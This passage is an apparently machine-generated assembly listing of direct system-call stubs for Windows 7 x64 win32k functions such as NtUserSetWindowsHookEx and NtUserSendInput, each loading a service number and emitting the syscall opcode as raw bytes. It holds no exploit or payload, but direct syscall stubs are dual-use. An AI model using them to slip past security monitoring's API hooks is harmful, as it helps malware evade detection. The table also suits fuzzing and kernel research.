;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetAsyncKeyState ENDP ; ULONG64 __stdcall NtUserGetCPD( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetCPD PROC STDCALL mov r10 , rcx mov eax , 4165 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetCPD ENDP ; ULONG64 __stdcall NtUserRemoveProp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserRemoveProp PROC STDCALL mov r10 , rcx mov eax , 4166 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoveProp ENDP ; ULONG64 __stdcall NtGdiDoPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiDoPalette PROC STDCALL mov r10 , rcx mov eax , 4167 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDoPalette ENDP ; ULONG64 __stdcall NtGdiPolyPolyDraw( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiPolyPolyDraw PROC STDCALL mov r10 , rcx mov eax , 4168 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPolyPolyDraw ENDP ; ULONG64 __stdcall NtUserSetCapture( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetCapture PROC STDCALL mov r10 , rcx mov eax , 4169 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetCapture ENDP ; ULONG64 __stdcall NtUserEnumDisplayMonitors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserEnumDisplayMonitors PROC STDCALL mov r10 , rcx mov eax , 4170 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEnumDisplayMonitors ENDP ; ULONG64 __stdcall NtGdiCreateCompatibleBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiCreateCompatibleBitmap PROC STDCALL mov r10 , rcx mov eax , 4171 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateCompatibleBitmap ENDP ; ULONG64 __stdcall NtUserSetProp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetProp PROC STDCALL mov r10 , rcx mov eax , 4172 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetProp ENDP ; ULONG64 __stdcall NtGdiGetTextCharsetInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetTextCharsetInfo PROC STDCALL mov r10 , rcx mov eax , 4173 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTextCharsetInfo ENDP ; ULONG64 __stdcall NtUserSBGetParms( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSBGetParms PROC STDCALL mov r10 , rcx mov eax , 4174 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSBGetParms ENDP ; ULONG64 __stdcall NtUserGetIconInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserGetIconInfo PROC STDCALL mov r10 , rcx mov eax , 4175 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetIconInfo ENDP ; ULONG64 __stdcall NtUserExcludeUpdateRgn( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserExcludeUpdateRgn PROC STDCALL mov r10 , rcx mov eax , 4176 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserExcludeUpdateRgn ENDP ; ULONG64 __stdcall NtUserSetFocus( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetFocus PROC STDCALL mov r10 , rcx mov eax , 4177 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetFocus ENDP ; ULONG64 __stdcall NtGdiExtGetObjectW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiExtGetObjectW PROC STDCALL mov r10 , rcx mov eax , 4178 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtGetObjectW ENDP ; ULONG64 __stdcall NtUserDeferWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserDeferWindowPos PROC STDCALL mov r10 , rcx mov eax , 4179 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDeferWindowPos ENDP ; ULONG64 __stdcall NtUserGetUpdateRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetUpdateRect PROC STDCALL mov r10 , rcx mov eax , 4180 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetUpdateRect ENDP ; ULONG64 __stdcall NtGdiCreateCompatibleDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCreateCompatibleDC PROC STDCALL mov r10 , rcx mov eax , 4181 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateCompatibleDC ENDP ; ULONG64 __stdcall NtUserGetClipboardSequenceNumber( ); _6_1_7600_sp0_windows_7_NtUserGetClipboardSequenceNumber PROC STDCALL mov r10 , rcx mov eax , 4182 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipboardSequenceNumber ENDP ; ULONG64 __stdcall NtGdiCreatePen( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiCreatePen PROC STDCALL mov r10 , rcx mov eax , 4183 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreatePen ENDP ; ULONG64 __stdcall NtUserShowWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserShowWindow PROC STDCALL mov r10 , rcx mov eax , 4184 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserShowWindow ENDP ; ULONG64 __stdcall NtUserGetKeyboardLayoutList( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetKeyboardLayoutList PROC STDCALL mov r10 , rcx mov eax , 4185 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetKeyboardLayoutList ENDP ; ULONG64 __stdcall NtGdiPatBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiPatBlt PROC STDCALL mov r10 , rcx mov eax , 4186 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPatBlt ENDP ; ULONG64 __stdcall NtUserMapVirtualKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserMapVirtualKeyEx PROC STDCALL mov r10 , rcx mov eax , 4187 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMapVirtualKeyEx ENDP ; ULONG64 __stdcall NtUserSetWindowLong( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetWindowLong PROC STDCALL mov r10 , rcx mov eax , 4188 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowLong ENDP ; ULONG64 __stdcall NtGdiHfontCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiHfontCreate PROC STDCALL mov r10 , rcx mov eax , 4189 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiHfontCreate ENDP ; ULONG64 __stdcall NtUserMoveWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserMoveWindow PROC STDCALL mov r10 , rcx mov eax , 4190 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMoveWindow ENDP ; ULONG64 __stdcall NtUserPostThreadMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserPostThreadMessage PROC STDCALL mov r10 , rcx mov eax , 4191 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPostThreadMessage ENDP ; ULONG64 __stdcall NtUserDrawIconEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtUserDrawIconEx PROC STDCALL mov r10 , rcx mov eax , 4192 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDrawIconEx ENDP ; ULONG64 __stdcall NtUserGetSystemMenu( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetSystemMenu PROC STDCALL mov r10 , rcx mov eax , 4193 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetSystemMenu ENDP ; ULONG64 __stdcall NtGdiDrawStream( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDrawStream PROC STDCALL mov r10 , rcx mov eax , 4194 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDrawStream ENDP ; ULONG64 __stdcall NtUserInternalGetWindowText( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserInternalGetWindowText PROC STDCALL mov r10 , rcx mov eax , 4195 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInternalGetWindowText ENDP ; ULONG64 __stdcall NtUserGetWindowDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetWindowDC PROC STDCALL mov r10 , rcx mov eax , 4196 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowDC ENDP ; ULONG64 __stdcall NtGdiD3dDrawPrimitives2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiD3dDrawPrimitives2 PROC STDCALL mov r10 , rcx mov eax , 4197 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiD3dDrawPrimitives2 ENDP ; ULONG64 __stdcall NtGdiInvertRgn( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiInvertRgn PROC STDCALL mov r10 , rcx mov eax , 4198 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiInvertRgn ENDP ; ULONG64 __stdcall NtGdiGetRgnBox( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetRgnBox PROC STDCALL mov r10 , rcx mov eax , 4199 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetRgnBox ENDP ; ULONG64 __stdcall NtGdiGetAndSetDCDword( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetAndSetDCDword PROC STDCALL mov r10 , rcx mov eax , 4200 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetAndSetDCDword ENDP ; ULONG64 __stdcall NtGdiMaskBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 ); _6_1_7600_sp0_windows_7_NtGdiMaskBlt PROC STDCALL mov r10 , rcx mov eax , 4201 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMaskBlt ENDP ; ULONG64 __stdcall NtGdiGetWidthTable( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiGetWidthTable PROC STDCALL mov r10 , rcx mov eax , 4202 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetWidthTable ENDP ; ULONG64 __stdcall NtUserScrollDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserScrollDC PROC STDCALL mov r10 , rcx mov eax , 4203 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserScrollDC ENDP ; ULONG64 __stdcall NtUserGetObjectInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserGetObjectInformation PROC STDCALL mov r10 , rcx mov eax , 4204 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetObjectInformation ENDP ; ULONG64 __stdcall NtGdiCreateBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiCreateBitmap PROC STDCALL mov r10 , rcx mov eax , 4205 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateBitmap ENDP ; ULONG64 __stdcall NtUserFindWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserFindWindowEx PROC STDCALL mov r10 , rcx mov eax , 4206 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserFindWindowEx ENDP ; ULONG64 __stdcall NtGdiPolyPatBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiPolyPatBlt PROC STDCALL mov r10 , rcx mov eax , 4207 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPolyPatBlt ENDP ; ULONG64 __stdcall NtUserUnhookWindowsHookEx( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserUnhookWindowsHookEx PROC STDCALL mov r10 , rcx mov eax , 4208 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnhookWindowsHookEx ENDP ; ULONG64 __stdcall NtGdiGetNearestColor( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetNearestColor PROC STDCALL mov r10 , rcx mov eax , 4209 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetNearestColor ENDP ; ULONG64 __stdcall NtGdiTransformPoints( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiTransformPoints PROC STDCALL mov r10 , rcx mov eax , 4210 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiTransformPoints ENDP ; ULONG64 __stdcall NtGdiGetDCPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetDCPoint PROC STDCALL mov r10 , rcx mov eax , 4211 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDCPoint ENDP ; ULONG64 __stdcall NtGdiCreateDIBBrush( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiCreateDIBBrush PROC STDCALL mov r10 , rcx mov eax , 4212 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateDIBBrush ENDP ; ULONG64 __stdcall NtGdiGetTextMetricsW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetTextMetricsW PROC STDCALL mov r10 , rcx mov eax , 4213 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTextMetricsW ENDP ; ULONG64 __stdcall NtUserCreateWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 ); _6_1_7600_sp0_windows_7_NtUserCreateWindowEx PROC STDCALL mov r10 , rcx mov eax , 4214 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateWindowEx ENDP ; ULONG64 __stdcall NtUserSetParent( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetParent PROC STDCALL mov r10 , rcx mov eax , 4215 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetParent ENDP ; ULONG64 __stdcall NtUserGetKeyboardState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetKeyboardState PROC STDCALL mov r10 , rcx mov eax , 4216 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetKeyboardState ENDP ; ULONG64 __stdcall NtUserToUnicodeEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserToUnicodeEx PROC STDCALL mov r10 , rcx mov eax , 4217 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserToUnicodeEx ENDP ; ULONG64 __stdcall NtUserGetControlBrush( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetControlBrush PROC STDCALL mov r10 , rcx mov eax , 4218 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetControlBrush ENDP ; ULONG64 __stdcall NtUserGetClassName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetClassName PROC STDCALL mov r10 , rcx mov eax , 4219 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClassName ENDP ; ULONG64 __stdcall NtGdiAlphaBlend( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); _6_1_7600_sp0_windows_7_NtGdiAlphaBlend PROC STDCALL mov r10 , rcx mov eax , 4220 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAlphaBlend ENDP ; ULONG64 __stdcall NtGdiDdBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdBlt PROC STDCALL mov r10 , rcx mov eax , 4221 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdBlt ENDP ; ULONG64 __stdcall NtGdiOffsetRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiOffsetRgn PROC STDCALL mov r10 , rcx mov eax , 4222 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiOffsetRgn ENDP ; ULONG64 __stdcall NtUserDefSetText( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserDefSetText PROC STDCALL mov r10 , rcx mov eax , 4223 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDefSetText ENDP ; ULONG64 __stdcall NtGdiGetTextFaceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetTextFaceW PROC STDCALL mov r10 , rcx mov eax , 4224 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTextFaceW ENDP ; ULONG64 __stdcall NtGdiStretchDIBitsInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); _6_1_7600_sp0_windows_7_NtGdiStretchDIBitsInternal PROC STDCALL mov r10 , rcx mov eax , 4225 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStretchDIBitsInternal ENDP ; ULONG64 __stdcall NtUserSendInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSendInput PROC STDCALL mov r10 , rcx mov eax , 4226 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSendInput ENDP ; ULONG64 __stdcall NtUserGetThreadDesktop( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetThreadDesktop PROC STDCALL mov r10 , rcx mov eax , 4227 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetThreadDesktop ENDP ; ULONG64 __stdcall NtGdiCreateRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiCreateRectRgn PROC STDCALL mov r10 , rcx mov eax , 4228 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateRectRgn ENDP ; ULONG64 __stdcall NtGdiGetDIBitsInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_1_7600_sp0_windows_7_NtGdiGetDIBitsInternal PROC STDCALL mov r10 , rcx mov eax , 4229 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDIBitsInternal ENDP ; ULONG64 __stdcall NtUserGetUpdateRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetUpdateRgn PROC STDCALL mov r10 , rcx mov eax , 4230 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetUpdateRgn ENDP ; ULONG64 __stdcall NtGdiDeleteClientObj( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDeleteClientObj PROC STDCALL mov r10 , rcx mov eax , 4231 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDeleteClientObj ENDP ; ULONG64 __stdcall NtUserGetIconSize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetIconSize PROC STDCALL mov r10 , rcx mov eax , 4232 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetIconSize ENDP ; ULONG64 __stdcall NtUserFillWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserFillWindow PROC STDCALL mov r10 , rcx mov eax , 4233 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserFillWindow ENDP ; ULONG64 __stdcall NtGdiExtCreateRegion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiExtCreateRegion PROC STDCALL mov r10 , rcx mov eax , 4234 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtCreateRegion ENDP ; ULONG64 __stdcall NtGdiComputeXformCoefficients( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiComputeXformCoefficients PROC STDCALL mov r10 , rcx mov eax , 4235 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiComputeXformCoefficients ENDP ; ULONG64 __stdcall NtUserSetWindowsHookEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserSetWindowsHookEx PROC STDCALL mov r10 , rcx mov eax , 4236 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowsHookEx ENDP ; ULONG64 __stdcall NtUserNotifyProcessCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserNotifyProcessCreate PROC STDCALL mov r10 , rcx mov eax , 4237 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserNotifyProcessCreate ENDP ; ULONG64 __stdcall NtGdiUnrealizeObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiUnrealizeObject PROC STDCALL mov r10 , rcx mov eax , 4238 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiUnrealizeObject ENDP ; ULONG64 __stdcall NtUserGetTitleBarInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetTitleBarInfo PROC STDCALL mov r10 , rcx mov eax , 4239 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetTitleBarInfo ENDP ; ULONG64 __stdcall NtGdiRectangle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiRectangle PROC STDCALL mov r10 , rcx mov eax , 4240 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRectangle ENDP ; ULONG64 __stdcall NtUserSetThreadDesktop( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetThreadDesktop PROC STDCALL mov r10 , rcx mov eax , 4241 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetThreadDesktop ENDP ; ULONG64 __stdcall NtUserGetDCEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetDCEx PROC STDCALL mov r10 , rcx mov eax , 4242 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetDCEx ENDP ; ULONG64 __stdcall NtUserGetScrollBarInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetScrollBarInfo PROC STDCALL mov r10 , rcx mov eax , 4243 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetScrollBarInfo ENDP ; ULONG64 __stdcall NtGdiGetTextExtent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetTextExtent PROC STDCALL mov r10 , rcx mov eax , 4244 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTextExtent ENDP ; ULONG64 __stdcall NtUserSetWindowFNID( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetWindowFNID PROC STDCALL mov r10 , rcx mov eax , 4245 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowFNID ENDP ; ULONG64 __stdcall NtGdiSetLayout( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetLayout PROC STDCALL mov r10 , rcx mov eax , 4246 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetLayout ENDP ; ULONG64 __stdcall NtUserCalcMenuBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 